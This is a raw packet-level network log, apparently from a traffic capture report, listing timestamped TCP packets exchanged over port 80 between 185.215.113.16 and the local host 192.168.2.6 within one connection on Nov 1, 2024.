Nov 1, 2024 03:45:24.032294035 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.032305956 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.032316923 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.032327890 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.032346010 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.032346010 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.033226013 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.033273935 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.033283949 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.033312082 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.033359051 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.033390045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.033401966 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.033412933 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.033458948 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.033504963 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.033504963 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.033509016 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.033520937 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.033531904 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.033626080 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.033998013 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034043074 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034054995 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034081936 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.034121037 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034132957 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034198999 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.034198999 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.034236908 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034250021 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034260988 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034271955 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034334898 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.034334898 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.034408092 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034447908 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034457922 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034535885 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.034547091 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034558058 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034569979 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034583092 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034648895 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.034648895 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.034655094 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034684896 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034694910 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034712076 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.034764051 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.034800053 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034812927 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034823895 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034955025 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034965992 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034976959 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.034981966 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.034990072 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.035018921 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.035018921 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.041944027 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.077219963 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.077380896 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.077382088 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.077395916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.077464104 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.099706888 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.099724054 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.099736929 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.099772930 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.099787951 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.099808931 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.099854946 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.099859953 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.099868059 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.099880934 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.099894047 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.099915028 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.099915028 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.148623943 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.149787903 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.149837971 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.149852037 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.149928093 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.149983883 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.149995089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.150007963 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.150019884 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.150099993 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.150099993 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.150124073 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.150242090 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.150259972 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.150271893 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.150285006 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.150291920 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.150298119 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.150311947 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.150321960 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.150321960 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.150325060 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.150341034 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.150377035 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.150470018 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.150559902 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.150718927 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.150732040 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.150743961 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.150755882 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.150768042 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.150777102 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.150780916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.150794029 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.150821924 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.150837898 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.150837898 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.151010036 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.151021957 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.151102066 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.151106119 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.151118994 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.151129007 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.151140928 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.151151896 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.151165962 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.151177883 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.151187897 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.151187897 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.151299000 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.151741028 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.151752949 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.151758909 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.151765108 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.151776075 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.151789904 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.151801109 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.151813030 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.151818991 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.151828051 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.151834011 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.151839018 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.151854038 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.151865005 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.151876926 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.151887894 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.151889086 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.151904106 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.151920080 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.151995897 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.152283907 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.152302980 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.152314901 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.152327061 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.152338028 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.152348995 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.152360916 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.152367115 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.152367115 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.152371883 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.152417898 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.152493000 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.152914047 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.192574024 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.192589045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.192601919 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.192612886 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.192676067 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.214941978 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.214967966 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.214979887 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.215049028 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.215060949 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.215076923 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.215162992 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.215183973 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.215187073 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.215233088 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.215292931 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.215305090 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.215325117 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.215333939 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.215357065 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.215492010 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.252047062 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.265132904 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.265161037 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.265171051 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.265214920 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.265227079 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.265245914 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.265284061 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.265304089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.265391111 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.265666008 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.265707970 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.265718937 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.265768051 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.265784025 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.265795946 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.265837908 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.265877962 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.265907049 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.266021967 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.266068935 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266103983 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266115904 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266143084 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266170979 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.266170979 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266233921 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266243935 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266294003 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266326904 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.266365051 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266376972 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266411066 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266442060 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.266463041 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266473055 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266490936 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266504049 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266530037 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.266558886 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266597986 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.266601086 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266611099 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266639948 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266666889 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.266694069 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266704082 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266716003 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266750097 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.266813040 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266823053 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266824007 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.266879082 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266890049 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266977072 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.266978979 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.266993999 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267021894 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.267050982 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267061949 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267134905 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267146111 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267155886 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267164946 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.267168045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267195940 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.267287970 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267297983 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267332077 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.267411947 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267422915 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267433882 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267436028 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.267445087 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267474890 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.267474890 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.267544985 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267554045 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267628908 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267640114 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267649889 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267663002 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267678022 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.267749071 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267760038 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267828941 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.267854929 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267867088 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267877102 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267925024 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.267925024 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.267988920 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.267999887 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.268008947 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.268021107 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.268030882 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.268043041 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.268109083 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.268160105 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.268165112 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.268177986 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.268188953 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.268289089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.268301010 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.268311977 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.268322945 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.268346071 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.268346071 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.268409967 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.284109116 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.294923067 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.305593014 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.305608034 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.305740118 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.307862997 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.307887077 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.307898998 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.308058023 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.308058023 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.330292940 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.330351114 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.330363035 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.330410004 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.330419064 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.330424070 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.330468893 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.330482006 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.330492020 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.330578089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.330579996 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.330590010 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.330713987 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.330789089 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.330835104 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.330846071 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.330864906 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.331749916 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.380549908 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.380563021 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.380574942 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.380636930 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.380647898 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.380657911 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.380681038 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.380717039 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.380717039 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.381026030 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.381079912 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.381150961 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.381162882 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.381172895 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.381194115 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.381195068 CET	49750	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:45:24.381372929 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.381382942 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.381392956 CET	80	49750	185.215.113.16	192.168.2.6
Nov 1, 2024 03:45:24.381441116 CET	80	49750	185.215.113.16	192.168.2.6
